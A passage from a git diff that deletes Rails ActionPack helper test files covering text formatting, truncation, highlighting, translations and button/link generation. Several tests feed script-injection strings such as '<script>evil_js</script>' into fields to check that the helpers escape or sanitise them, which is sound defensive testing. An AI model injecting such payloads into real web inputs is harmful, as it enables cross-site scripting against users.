-    assert_equal %q(<p class="test">This is a classy test</p>), simple_format("This is a classy test", :class => 'test')
-    assert_equal %Q(<p class="test">para 1</p>\n\n<p class="test">para 2</p>), simple_format("para 1\n\npara 2", :class => 'test')
-  end
-
-  def test_simple_format_should_sanitize_input_when_sanitize_option_is_not_false
-    assert_equal "<p><b> test with unsafe string </b></p>", simple_format("<b> test with unsafe string </b><script>code!</script>")
-  end
-
-  def test_simple_format_should_not_sanitize_input_when_sanitize_option_is_false
-    assert_equal "<p><b> test with unsafe string </b><script>code!</script></p>", simple_format("<b> test with unsafe string </b><script>code!</script>", {}, :sanitize => false)
-  end
-
-  def test_simple_format_with_custom_wrapper
-    assert_equal "<div></div>", simple_format(nil, {}, :wrapper_tag => "div")
-  end
-
-  def test_simple_format_with_custom_wrapper_and_multi_line_breaks
-    assert_equal "<div>We want to put a wrapper...</div>\n\n<div>...right there.</div>", simple_format("We want to put a wrapper...\n\n...right there.", {}, :wrapper_tag => "div")
-  end
-
-  def test_simple_format_should_not_change_the_text_passed
-    text = "<b>Ok</b><script>code!</script>"
-    text_clone = text.dup
-    simple_format(text)
-    assert_equal text_clone, text
-  end
-
-  def test_simple_format_does_not_modify_the_html_options_hash
-    options = { :class => "foobar"}
-    passed_options = options.dup
-    simple_format("some text", passed_options)
-    assert_equal options, passed_options
-  end
-
-  def test_simple_format_does_not_modify_the_options_hash
-    options = { :wrapper_tag => :div, :sanitize => false }
-    passed_options = options.dup
-    simple_format("some text", {}, passed_options)
-    assert_equal options, passed_options
-  end
-
-  def test_truncate
-    assert_equal "Hello World!", truncate("Hello World!", :length => 12)
-    assert_equal "Hello Wor...", truncate("Hello World!!", :length => 12)
-  end
-
-  def test_truncate_should_use_default_length_of_30
-    str = "This is a string that will go longer then the default truncate length of 30"
-    assert_equal str[0...27] + "...", truncate(str)
-  end
-
-  def test_truncate_with_options_hash
-    assert_equal "This is a string that wil[...]", truncate("This is a string that will go longer then the default truncate length of 30", :omission => "[...]")
-    assert_equal "Hello W...", truncate("Hello World!", :length => 10)
-    assert_equal "Hello[...]", truncate("Hello World!", :omission => "[...]", :length => 10)
-    assert_equal "Hello[...]", truncate("Hello Big World!", :omission => "[...]", :length => 13, :separator => ' ')
-    assert_equal "Hello Big[...]", truncate("Hello Big World!", :omission => "[...]", :length => 14, :separator => ' ')
-    assert_equal "Hello Big[...]", truncate("Hello Big World!", :omission => "[...]", :length => 15, :separator => ' ')
-  end
-
-  def test_truncate_multibyte
-    assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...".force_encoding(Encoding::UTF_8),
-      truncate("\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding(Encoding::UTF_8), :length => 10)
-  end
-
-  def test_truncate_does_not_modify_the_options_hash
-    options = { :length => 10 }
-    passed_options = options.dup
-    truncate("some text", passed_options)
-    assert_equal options, passed_options
-  end
-
-  def test_truncate_with_link_options
-    assert_equal "Here is a long test and ...<a href=\"#\">Continue</a>",
-    truncate("Here is a long test and I need a continue to read link", :length => 27) { link_to 'Continue', '#' }
-  end
-
-  def test_truncate_should_be_html_safe
-    assert truncate("Hello World!", :length => 12).html_safe?
-  end
-
-  def test_truncate_should_escape_the_input
-    assert_equal "Hello <sc...", truncate("Hello <script>code!</script>World!!", :length => 12)
-  end
-
-  def test_truncate_should_not_escape_the_input_with_escape_false
-    assert_equal "Hello <sc...", truncate("Hello <script>code!</script>World!!", :length => 12, :escape => false)
-  end
-
-  def test_truncate_with_escape_false_should_be_html_safe
-    truncated = truncate("Hello <script>code!</script>World!!", :length => 12, :escape => false)
-    assert truncated.html_safe?
-  end
-
-  def test_truncate_with_block_should_be_html_safe
-    truncated = truncate("Here's a long test and I need a continue to read link", :length => 27) { link_to 'Continue', '#' }
-    assert truncated.html_safe?
-  end
-
-  def test_truncate_with_block_should_escape_the_input
-    assert_equal "<script>code!</script>He...<a href=\"#\">Continue</a>",
-      truncate("<script>code!</script>Here's a long test and I need a continue to read link", :length => 27) { link_to 'Continue', '#' }
-  end
-
-  def test_truncate_with_block_should_not_escape_the_input_with_escape_false
-    assert_equal "<script>code!</script>He...<a href=\"#\">Continue</a>",
-      truncate("<script>code!</script>Here's a long test and I need a continue to read link", :length => 27, :escape => false) { link_to 'Continue', '#' }
-  end
-
-  def test_truncate_with_block_with_escape_false_should_be_html_safe
-    truncated = truncate("<script>code!</script>Here's a long test and I need a continue to read link", :length => 27, :escape => false) { link_to 'Continue', '#' }
-    assert truncated.html_safe?
-  end
-
-  def test_truncate_with_block_should_escape_the_block
-    assert_equal "Here is a long test and ...<script>alert('foo');</script>",
-      truncate("Here is a long test and I need a continue to read link", :length => 27) { "<script>alert('foo');</script>" }
-  end
-
-  def test_highlight_should_be_html_safe
-    assert highlight("This is a beautiful morning", "beautiful").html_safe?
-  end
-
-  def test_highlight
-    assert_equal(
-      "This is a <mark>beautiful</mark> morning",
-      highlight("This is a beautiful morning", "beautiful")
-    )
-
-    assert_equal(
-      "This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day",
-      highlight("This is a beautiful morning, but also a beautiful day", "beautiful")
-    )
-
-    assert_equal(
-      "This is a <b>beautiful</b> morning, but also a <b>beautiful</b> day",
-      highlight("This is a beautiful morning, but also a beautiful day", "beautiful", :highlighter => '<b>\1</b>')
-    )
-
-    assert_equal(
-      "This text is not changed because we supplied an empty phrase",
-      highlight("This text is not changed because we supplied an empty phrase", nil)
-    )
-
-    assert_equal '   ', highlight('   ', 'blank text is returned verbatim')
-  end
-
-  def test_highlight_should_sanitize_input
-    assert_equal(
-      "This is a <mark>beautiful</mark> morning",
-      highlight("This is a beautiful morning<script>code!</script>", "beautiful")
-    )
-  end
-
-  def test_highlight_should_not_sanitize_if_sanitize_option_if_false
-    assert_equal(
-      "This is a <mark>beautiful</mark> morning<script>code!</script>",
-      highlight("This is a beautiful morning<script>code!</script>", "beautiful", :sanitize => false)
-    )
-  end
-
-  def test_highlight_with_regexp
-    assert_equal(
-      "This is a <mark>beautiful!</mark> morning",
-      highlight("This is a beautiful! morning", "beautiful!")
-    )
-
-    assert_equal(
-      "This is a <mark>beautiful! morning</mark>",
-      highlight("This is a beautiful! morning", "beautiful! morning")
-    )
-
-    assert_equal(
-      "This is a <mark>beautiful? morning</mark>",
-      highlight("This is a beautiful? morning", "beautiful? morning")
-    )
-  end
-
-  def test_highlight_with_multiple_phrases_in_one_pass
-    assert_equal %(<em>wow</em> <em>em</em>), highlight('wow em', %w(wow em), :highlighter => '<em>\1</em>')
-  end
-
-  def test_highlight_with_html
-    assert_equal(
-      "<p>This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day</p>",
-      highlight("<p>This is a beautiful morning, but also a beautiful day</p>", "beautiful")
-    )
-    assert_equal(
-      "<p>This is a <em><mark>beautiful</mark></em> morning, but also a <mark>beautiful</mark> day</p>",
-      highlight("<p>This is a <em>beautiful</em> morning, but also a beautiful day</p>", "beautiful")
-    )
-    assert_equal(
-      "<p>This is a <em class=\"error\"><mark>beautiful</mark></em> morning, but also a <mark>beautiful</mark> <span class=\"last\">day</span></p>",
-      highlight("<p>This is a <em class=\"error\">beautiful</em> morning, but also a beautiful <span class=\"last\">day</span></p>", "beautiful")
-    )
-    assert_equal(
-      "<p class=\"beautiful\">This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day</p>",
-      highlight("<p class=\"beautiful\">This is a beautiful morning, but also a beautiful day</p>", "beautiful")
-    )
-    assert_equal(
-      "<p>This is a <mark>beautiful</mark> <a href=\"http://example.com/beautiful#top?what=beautiful%20morning&when=now+then\">morning</a>, but also a <mark>beautiful</mark> day</p>",
-      highlight("<p>This is a beautiful <a href=\"http://example.com/beautiful\#top?what=beautiful%20morning&when=now+then\">morning</a>, but also a beautiful day</p>", "beautiful")
-    )
-    assert_equal(
-      "<div>abc <b>div</b></div>",
-      highlight("<div>abc div</div>", "div", :highlighter => '<b>\1</b>')
-    )
-  end
-
-  def test_highlight_does_not_modify_the_options_hash
-    options = { :highlighter => '<b>\1</b>', :sanitize => false }
-    passed_options = options.dup
-    highlight("<div>abc div</div>", "div", passed_options)
-    assert_equal options, passed_options
-  end
-
-  def test_excerpt
-    assert_equal("...is a beautiful morn...", excerpt("This is a beautiful morning", "beautiful", :radius => 5))
-    assert_equal("This is a...", excerpt("This is a beautiful morning", "this", :radius => 5))
-    assert_equal("...iful morning", excerpt("This is a beautiful morning", "morning", :radius => 5))
-    assert_nil excerpt("This is a beautiful morning", "day")
-  end
-
-  def test_excerpt_should_not_be_html_safe
-    assert !excerpt('This is a beautiful! morning', 'beautiful', :radius => 5).html_safe?
-  end
-
-  def test_excerpt_in_borderline_cases
-    assert_equal("", excerpt("", "", :radius => 0))
-    assert_equal("a", excerpt("a", "a", :radius => 0))
-    assert_equal("...b...", excerpt("abc", "b", :radius => 0))
-    assert_equal("abc", excerpt("abc", "b", :radius => 1))
-    assert_equal("abc...", excerpt("abcd", "b", :radius => 1))
-    assert_equal("...abc", excerpt("zabc", "b", :radius => 1))
-    assert_equal("...abc...", excerpt("zabcd", "b", :radius => 1))
-    assert_equal("zabcd", excerpt("zabcd", "b", :radius => 2))
-
-    # excerpt strips the resulting string before ap-/prepending excerpt_string.
-    # whether this behavior is meaningful when excerpt_string is not to be
-    # appended is questionable.
-    assert_equal("zabcd", excerpt("  zabcd  ", "b", :radius => 4))
-    assert_equal("...abc...", excerpt("z  abc  d", "b", :radius => 1))
-  end
-
-  def test_excerpt_with_regex
-    assert_equal('...is a beautiful! mor...', excerpt('This is a beautiful! morning', 'beautiful', :radius => 5))
-    assert_equal('...is a beautiful? mor...', excerpt('This is a beautiful? morning', 'beautiful', :radius => 5))
-  end
-
-  def test_excerpt_with_omission
-    assert_equal("[...]is a beautiful morn[...]", excerpt("This is a beautiful morning", "beautiful", :omission => "[...]",:radius => 5))
-    assert_equal(
-      "This is the ultimate supercalifragilisticexpialidoceous very looooooooooooooooooong looooooooooooong beautiful morning with amazing sunshine and awesome tempera[...]",
-      excerpt("This is the ultimate supercalifragilisticexpialidoceous very looooooooooooooooooong looooooooooooong beautiful morning with amazing sunshine and awesome temperatures. So what are you gonna do about it?", "very",
-      :omission => "[...]")
-    )
-  end
-
-  def test_excerpt_with_utf8
-    assert_equal("...\357\254\203ciency could not be...".force_encoding(Encoding::UTF_8), excerpt("That's why e\357\254\203ciency could not be helped".force_encoding(Encoding::UTF_8), 'could', :radius => 8))
-  end
-
-  def test_excerpt_does_not_modify_the_options_hash
-    options = { :omission => "[...]",:radius => 5 }
-    passed_options = options.dup
-    excerpt("This is a beautiful morning", "beautiful", passed_options)
-    assert_equal options, passed_options
-  end
-
-  def test_excerpt_with_separator
-    options = { :separator => ' ', :radius => 1 }
-    assert_equal('...a very beautiful...', excerpt('This is a very beautiful morning', 'very', options))
-    assert_equal('This is...', excerpt('This is a very beautiful morning', 'this', options))
-    assert_equal('...beautiful morning', excerpt('This is a very beautiful morning', 'morning', options))
-
-    options = { :separator => "\n", :radius => 0 }
-    assert_equal("...very long...", excerpt("my very\nvery\nvery long\nstring", 'long', options))
-
-    options = { :separator => "\n", :radius => 1 }
-    assert_equal("...very\nvery long\nstring", excerpt("my very\nvery\nvery long\nstring", 'long', options))
-
-    assert_equal excerpt('This is a beautiful morning', 'a'),
-                 excerpt('This is a beautiful morning', 'a', separator: nil)
-  end
-
-  def test_word_wrap
-    assert_equal("my very very\nvery long\nstring", word_wrap("my very very very long string", :line_width => 15))
-  end
-
-  def test_word_wrap_with_extra_newlines
-    assert_equal("my very very\nvery long\nstring\n\nwith another\nline", word_wrap("my very very very long string\n\nwith another line", :line_width => 15))
-  end
-
-  def test_word_wrap_does_not_modify_the_options_hash
-    options = { :line_width => 15 }
-    passed_options = options.dup
-    word_wrap("some text", passed_options)
-    assert_equal options, passed_options
-  end
-
-  def test_pluralization
-    assert_equal("1 count", pluralize(1, "count"))
-    assert_equal("2 counts", pluralize(2, "count"))
-    assert_equal("1 count", pluralize('1', "count"))
-    assert_equal("2 counts", pluralize('2', "count"))
-    assert_equal("1,066 counts", pluralize('1,066', "count"))
-    assert_equal("1.25 counts", pluralize('1.25', "count"))
-    assert_equal("1.0 count", pluralize('1.0', "count"))
-    assert_equal("1.00 count", pluralize('1.00', "count"))
-    assert_equal("2 counters", pluralize(2, "count", "counters"))
-    assert_equal("0 counters", pluralize(nil, "count", "counters"))
-    assert_equal("2 people", pluralize(2, "person"))
-    assert_equal("10 buffaloes", pluralize(10, "buffalo"))
-    assert_equal("1 berry", pluralize(1, "berry"))
-    assert_equal("12 berries", pluralize(12, "berry"))
-  end
-
-  def test_cycle_class
-    value = Cycle.new("one", 2, "3")
-    assert_equal("one", value.to_s)
-    assert_equal("2", value.to_s)
-    assert_equal("3", value.to_s)
-    assert_equal("one", value.to_s)
-    value.reset
-    assert_equal("one", value.to_s)
-    assert_equal("2", value.to_s)
-    assert_equal("3", value.to_s)
-  end
-
-  def test_cycle_class_with_no_arguments
-    assert_raise(ArgumentError) { Cycle.new }
-  end
-
-  def test_cycle
-    assert_equal("one", cycle("one", 2, "3"))
-    assert_equal("2", cycle("one", 2, "3"))
-    assert_equal("3", cycle("one", 2, "3"))
-    assert_equal("one", cycle("one", 2, "3"))
-    assert_equal("2", cycle("one", 2, "3"))
-    assert_equal("3", cycle("one", 2, "3"))
-  end
-
-  def test_cycle_with_no_arguments
-    assert_raise(ArgumentError) { cycle }
-  end
-
-  def test_cycle_resets_with_new_values
-    assert_equal("even", cycle("even", "odd"))
-    assert_equal("odd", cycle("even", "odd"))
-    assert_equal("even", cycle("even", "odd"))
-    assert_equal("1", cycle(1, 2, 3))
-    assert_equal("2", cycle(1, 2, 3))
-    assert_equal("3", cycle(1, 2, 3))
-    assert_equal("1", cycle(1, 2, 3))
-  end
-
-  def test_named_cycles
-    assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
-    assert_equal("red", cycle("red", "blue", :name => "colors"))
-    assert_equal("2", cycle(1, 2, 3, :name => "numbers"))
-    assert_equal("blue", cycle("red", "blue", :name => "colors"))
-    assert_equal("3", cycle(1, 2, 3, :name => "numbers"))
-    assert_equal("red", cycle("red", "blue", :name => "colors"))
-  end
-
-  def test_current_cycle_with_default_name
-    cycle("even","odd")
-    assert_equal "even", current_cycle
-    cycle("even","odd")
-    assert_equal "odd", current_cycle
-    cycle("even","odd")
-    assert_equal "even", current_cycle
-  end
-
-  def test_current_cycle_with_named_cycles
-    cycle("red", "blue", :name => "colors")
-    assert_equal "red", current_cycle("colors")
-    cycle("red", "blue", :name => "colors")
-    assert_equal "blue", current_cycle("colors")
-    cycle("red", "blue", :name => "colors")
-    assert_equal "red", current_cycle("colors")
-  end
-
-  def test_current_cycle_safe_call
-    assert_nothing_raised { current_cycle }
-    assert_nothing_raised { current_cycle("colors") }
-  end
-
-  def test_current_cycle_with_more_than_two_names
-    cycle(1,2,3)
-    assert_equal "1", current_cycle
-    cycle(1,2,3)
-    assert_equal "2", current_cycle
-    cycle(1,2,3)
-    assert_equal "3", current_cycle
-    cycle(1,2,3)
-    assert_equal "1", current_cycle
-  end
-
-  def test_default_named_cycle
-    assert_equal("1", cycle(1, 2, 3))
-    assert_equal("2", cycle(1, 2, 3, :name => "default"))
-    assert_equal("3", cycle(1, 2, 3))
-  end
-
-  def test_reset_cycle
-    assert_equal("1", cycle(1, 2, 3))
-    assert_equal("2", cycle(1, 2, 3))
-    reset_cycle
-    assert_equal("1", cycle(1, 2, 3))
-  end
-
-  def test_reset_unknown_cycle
-    reset_cycle("colors")
-  end
-
-  def test_recet_named_cycle
-    assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
-    assert_equal("red", cycle("red", "blue", :name => "colors"))
-    reset_cycle("numbers")
-    assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
-    assert_equal("blue", cycle("red", "blue", :name => "colors"))
-    assert_equal("2", cycle(1, 2, 3, :name => "numbers"))
-    assert_equal("red", cycle("red", "blue", :name => "colors"))
-  end
-
-  def test_cycle_no_instance_variable_clashes
-    @cycles = %w{Specialized Fuji Giant}
-    assert_equal("red", cycle("red", "blue"))
-    assert_equal("blue", cycle("red", "blue"))
-    assert_equal("red", cycle("red", "blue"))
-    assert_equal(%w{Specialized Fuji Giant}, @cycles)
-  end
-end
diff --git a/actionpack/test/template/translation_helper_test.rb b/actionpack/test/template/translation_helper_test.rb
deleted file mode 100644
index 0dfe47f..0000000
--- a/actionpack/test/template/translation_helper_test.rb
+++ /dev/null
@@ -1,138 +0,0 @@
-require 'abstract_unit'
-
-class TranslationHelperTest < ActiveSupport::TestCase
-  include ActionView::Helpers::TagHelper
-  include ActionView::Helpers::TranslationHelper
-
-  attr_reader :request, :view
-
-  def setup
-    I18n.backend.store_translations(:en,
-      :translations => {
-        :templates => {
-          :found => { :foo => 'Foo' },
-          :array => { :foo => { :bar => 'Foo Bar' } },
-          :default => { :foo => 'Foo' }
-        },
-        :foo => 'Foo',
-        :hello => '<a>Hello World</a>',
-        :html => '<a>Hello World</a>',
-        :hello_html => '<a>Hello World</a>',
-        :interpolated_html => '<a>Hello %{word}</a>',
-        :array_html => %w(foo bar),
-        :array => %w(foo bar),
-        :count_html => {
-          :one   => '<a>One %{count}</a>',
-          :other => '<a>Other %{count}</a>'
-        }
-      }
-    )
-    @view = ::ActionView::Base.new(ActionController::Base.view_paths, {})
-  end
-
-  def test_delegates_to_i18n_setting_the_rescue_format_option_to_html
-    I18n.expects(:translate).with(:foo, :locale => 'en', :raise=>true).returns("")
-    translate :foo, :locale => 'en'
-  end
-
-  def test_delegates_localize_to_i18n
-    @time = Time.utc(2008, 7, 8, 12, 18, 38)
-    I18n.expects(:localize).with(@time)
-    localize @time
-  end
-
-  def test_returns_missing_translation_message_wrapped_into_span
-    expected = '<span class="translation_missing" title="translation missing: en.translations.missing">Missing</span>'
-    assert_equal expected, translate(:"translations.missing")
-    assert_equal true, translate(:"translations.missing").html_safe?
-  end
-
-  def test_returns_missing_translation_message_using_nil_as_rescue_format
-    expected = 'translation missing: en.translations.missing'
-    assert_equal expected, translate(:"translations.missing", :rescue_format => nil)
-    assert_equal false, translate(:"translations.missing", :rescue_format => nil).html_safe?
-  end
-
-  def test_i18n_translate_defaults_to_nil_rescue_format
-    expected = 'translation missing: en.translations.missing'
-    assert_equal expected, I18n.translate(:"translations.missing")
-    assert_equal false, I18n.translate(:"translations.missing").html_safe?
-  end
-
-  def test_translation_returning_an_array
-    expected = %w(foo bar)
-    assert_equal expected, translate(:"translations.array")
-  end
-
-  def test_finds_translation_scoped_by_partial
-    assert_equal 'Foo', view.render(:file => 'translations/templates/found').strip
-  end
-
-  def test_finds_array_of_translations_scoped_by_partial
-    assert_equal 'Foo Bar', @view.render(:file => 'translations/templates/array').strip
-  end
-
-  def test_default_lookup_scoped_by_partial
-    assert_equal 'Foo', view.render(:file => 'translations/templates/default').strip
-  end
-
-  def test_missing_translation_scoped_by_partial
-    expected = '<span class="translation_missing" title="translation missing: en.translations.templates.missing.missing">Missing</span>'
-    assert_equal expected, view.render(:file => 'translations/templates/missing').strip
-  end
-
-  def test_translate_does_not_mark_plain_text_as_safe_html
-    assert_equal false, translate(:'translations.hello').html_safe?
-  end
-
-  def test_translate_marks_translations_named_html_as_safe_html
-    assert translate(:'translations.html').html_safe?
-  end
-
-  def test_translate_marks_translations_with_a_html_suffix_as_safe_html
-    assert translate(:'translations.hello_html').html_safe?
-  end
-
-  def test_translate_escapes_interpolations_in_translations_with_a_html_suffix
-    assert_equal '<a>Hello <World></a>', translate(:'translations.interpolated_html', :word => '<World>')
-    assert_equal '<a>Hello <World></a>', translate(:'translations.interpolated_html', :word => stub(:to_s => "<World>"))
-  end
-
-  def test_translate_with_html_count
-    assert_equal '<a>One 1</a>', translate(:'translations.count_html', :count => 1)
-    assert_equal '<a>Other 2</a>', translate(:'translations.count_html', :count => 2)
-    assert_equal '<a>Other <One></a>', translate(:'translations.count_html', :count => '<One>')
-  end
-
-  def test_translation_returning_an_array_ignores_html_suffix
-    assert_equal ["foo", "bar"], translate(:'translations.array_html')
-  end
-
-  def test_translate_with_default_named_html
-    translation = translate(:'translations.missing', :default => :'translations.hello_html')
-    assert_equal '<a>Hello World</a>', translation
-    assert_equal true, translation.html_safe?
-  end
-
-  def test_translate_with_two_defaults_named_html
-    translation = translate(:'translations.missing', :default => [:'translations.missing_html', :'translations.hello_html'])
-    assert_equal '<a>Hello World</a>', translation
-    assert_equal true, translation.html_safe?
-  end
-
-  def test_translate_with_last_default_named_html
-    translation = translate(:'translations.missing', :default => [:'translations.missing', :'translations.hello_html'])
-    assert_equal '<a>Hello World</a>', translation
-    assert_equal true, translation.html_safe?
-  end
-
-  def test_translate_with_string_default
-    translation = translate(:'translations.missing', default: 'A Generic String')
-    assert_equal 'A Generic String', translation
-  end
-
-  def test_translate_with_array_of_string_defaults
-    translation = translate(:'translations.missing', default: ['A Generic String', 'Second generic string'])
-    assert_equal 'A Generic String', translation
-  end
-end
diff --git a/actionpack/test/template/url_helper_test.rb b/actionpack/test/template/url_helper_test.rb
deleted file mode 100644
index 26f0347..0000000
--- a/actionpack/test/template/url_helper_test.rb
+++ /dev/null
@@ -1,862 +0,0 @@
-# encoding: utf-8
-require 'abstract_unit'
-require 'controller/fake_controllers'
-
-class UrlHelperTest < ActiveSupport::TestCase
-
-  # In a few cases, the helper proxies to 'controller'
-  # or request.
-  #
-  # In those cases, we'll set up a simple mock
-  attr_accessor :controller, :request
-
-  cattr_accessor :request_forgery
-  self.request_forgery = false
-
-  routes = ActionDispatch::Routing::RouteSet.new
-  routes.draw do
-    get "/" => "foo#bar"
-    get "/other" => "foo#other"
-    get "/article/:id" => "foo#article", :as => :article
-    get "/category/:category" => "foo#category"
-  end
-
-  include ActionView::Helpers::UrlHelper
-  include routes.url_helpers
-
-  include ActionView::Helpers::JavaScriptHelper
-  include ActionDispatch::Assertions::DomAssertions
-  include ActionView::Context
-  include RenderERBUtils
-
-  setup :_prepare_context
-
-  def hash_for(options = {})
-    { controller: "foo", action: "bar" }.merge!(options)
-  end
-  alias url_hash hash_for
-
-  def test_url_for_does_not_escape_urls
-    assert_equal "/?a=b&c=d", url_for(hash_for(a: :b, c: :d))
-  end
-
-  def test_url_for_with_back
-    referer = 'http://www.example.com/referer'
-    @controller = Struct.new(:request).new(Struct.new(:env).new("HTTP_REFERER" => referer))
-
-    assert_equal 'http://www.example.com/referer', url_for(:back)
-  end
-
-  def test_url_for_with_back_and_no_referer
-    @controller = Struct.new(:request).new(Struct.new(:env).new({}))
-    assert_equal 'javascript:history.back()', url_for(:back)
-  end
-
-  def test_button_to_with_straight_url
-    assert_dom_equal %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com")
-  end
-
-  def test_button_to_with_straight_url_and_request_forgery
-    self.request_forgery = true
-
-    assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /><input name="form_token" type="hidden" value="secret" /></div></form>},
-      button_to("Hello", "http://www.example.com")
-    )
-  ensure
-    self.request_forgery = false
-  end
-
-  def test_button_to_with_form_class
-    assert_dom_equal %{<form method="post" action="http://www.example.com" class="custom-class"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com", form_class: 'custom-class')
-  end
-
-  def test_button_to_with_form_class_escapes
-    assert_dom_equal %{<form method="post" action="http://www.example.com" class="<script>evil_js</script>"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com", form_class: '<script>evil_js</script>')
-  end
-
-  def test_button_to_with_query
-    assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&q2=v2" class="button_to"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com/q1=v1&q2=v2")
-  end
-
-  def test_button_to_with_html_safe_URL
-    assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&q2=v2" class="button_to"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com/q1=v1&q2=v2".html_safe)
-  end
-
-  def test_button_to_with_query_and_no_name
-    assert_dom_equal %{<form method="post" action="http://www.example.com?q1=v1&q2=v2" class="button_to"><div><input type="submit" value="http://www.example.com?q1=v1&q2=v2" /></div></form>}, button_to(nil, "http://www.example.com?q1=v1&q2=v2")
-  end
-
-  def test_button_to_with_javascript_confirm
-    assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><div><input data-confirm="Are you sure?" type="submit" value="Hello" /></div></form>},
-      button_to("Hello", "http://www.example.com", data: { confirm: "Are you sure?" })
-    )
-  end
-
-  def test_button_to_with_deprecated_confirm
-    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
-      assert_dom_equal(
-        %{<form method="post" action="http://www.example.com" class="button_to"><div><input data-confirm="Are you sure?" type="submit" value="Hello" /></div></form>},
-        button_to("Hello", "http://www.example.com", confirm: "Are you sure?")
-      )
-    end
-  end
-
-  def test_button_to_with_javascript_disable_with
-    assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><div><input data-disable-with="Greeting..." type="submit" value="Hello" /></div></form>},
-      button_to("Hello", "http://www.example.com", data: { disable_with: "Greeting..." })
-    )
-  end
-
-  def test_button_to_with_javascript_deprecated_disable_with
-    assert_deprecated ":disable_with option is deprecated and will be removed from Rails 4.1. Use 'data: { disable_with: \'Text\' }' instead" do
-      assert_dom_equal(
-        %{<form method="post" action="http://www.example.com" class="button_to"><div><input data-disable-with="Greeting..." type="submit" value="Hello" /></div></form>},
-        button_to("Hello", "http://www.example.com", disable_with: "Greeting...")
-      )
-    end
-  end
-
-  def test_button_to_with_remote_and_form_options
-    assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="custom-class" data-remote="true" data-type="json"><div><input type="submit" value="Hello" /></div></form>},
-      button_to("Hello", "http://www.example.com", remote: true, form: { class: "custom-class", "data-type" => "json" })
-    )
-  end
-
-  def test_button_to_with_remote_and_javascript_confirm
-    assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><div><input data-confirm="Are you sure?" type="submit" value="Hello" /></div></form>},
-      button_to("Hello", "http://www.example.com", remote: true, data: { confirm: "Are you sure?" })
-    )
-  end
-
-  def test_button_to_with_remote_and_javascript_with_deprecated_confirm
-    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
-      assert_dom_equal(
-        %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><div><input data-confirm="Are you sure?" type="submit" value="Hello" /></div></form>},
-        button_to("Hello", "http://www.example.com", remote: true, confirm: "Are you sure?")
-      )
-    end
-  end
-
-  def test_button_to_with_remote_and_javascript_disable_with
-    assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><div><input data-disable-with="Greeting..." type="submit" value="Hello" /></div></form>},
-      button_to("Hello", "http://www.example.com", remote: true, data: { disable_with: "Greeting..." })
-    )
-  end
-
-  def test_button_to_with_remote_and_javascript_deprecated_disable_with
-    assert_deprecated ":disable_with option is deprecated and will be removed from Rails 4.1. Use 'data: { disable_with: \'Text\' }' instead" do
-      assert_dom_equal(
-        %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><div><input data-disable-with="Greeting..." type="submit" value="Hello" /></div></form>},
-        button_to("Hello", "http://www.example.com", remote: true, disable_with: "Greeting...")
-      )
-    end
-  end
-
-  def test_button_to_with_remote_false
-    assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>},
-      button_to("Hello", "http://www.example.com", remote: false)
-    )
-  end
-
-  def test_button_to_enabled_disabled
-    assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>},
-      button_to("Hello", "http://www.example.com", disabled: false)
-    )
-    assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><div><input disabled="disabled" type="submit" value="Hello" /></div></form>},
-      button_to("Hello", "http://www.example.com", disabled: true)
-    )
-  end
-
-  def test_button_to_with_method_delete
-    assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="hidden" name="_method" value="delete" /><input type="submit" value="Hello" /></div></form>},
-      button_to("Hello", "http://www.example.com", method: :delete)
-    )
-  end
-
-  def test_button_to_with_method_get
-    assert_dom_equal(
-      %{<form method="get" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>},
-      button_to("Hello", "http://www.example.com", method: :get)
-    )
-  end
-
-  def test_button_to_with_block
-    assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><div><button type="submit"><span>Hello</span></button></div></form>},
-      button_to("http://www.example.com") { content_tag(:span, 'Hello') }
-    )
-  end
-
-  def test_link_tag_with_straight_url
-    assert_dom_equal %{<a href="http://www.example.com">Hello</a>}, link_to("Hello", "http://www.example.com")
-  end
-
-  def test_link_tag_without_host_option
-    assert_dom_equal(%{<a href="/">Test Link</a>}, link_to('Test Link', url_hash))
-  end
-
-  def test_link_tag_with_host_option
-    hash = hash_for(host: "www.example.com")
-    expected = %{<a href="http://www.example.com/">Test Link</a>}
-    assert_dom_equal(expected, link_to('Test Link', hash))
-  end
-
-  def test_link_tag_with_query
-    expected = %{<a href="http://www.example.com?q1=v1&q2=v2">Hello</a>}
-    assert_dom_equal expected, link_to("Hello", "http://www.example.com?q1=v1&q2=v2")
-  end
-
-  def test_link_tag_with_query_and_no_name
